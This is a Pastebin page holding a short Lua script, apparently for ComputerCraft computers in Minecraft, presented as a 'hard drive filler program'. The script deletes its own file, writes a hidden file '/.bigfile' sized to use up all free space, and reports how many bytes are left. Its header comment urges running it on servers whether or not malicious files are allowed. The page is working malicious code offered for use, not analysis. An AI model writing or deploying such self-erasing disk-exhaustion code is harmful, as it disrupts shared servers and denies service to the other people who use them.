Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- A hard drive filler program.
- On servers where malicious files are allowed, go nuts. Otherwise, go nuts.
- --]]
- local fileName = "/.bigfile"
- fs.delete(shell.getRunningProgram())
- local file = fs.open(fileName,"w")
- file.write((" "):rep(fs.getFreeSpace(shell.dir())+500))
- file.close()
- print("Operation complete. " .. fs.getFreeSpace("/") .. " bytes left")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement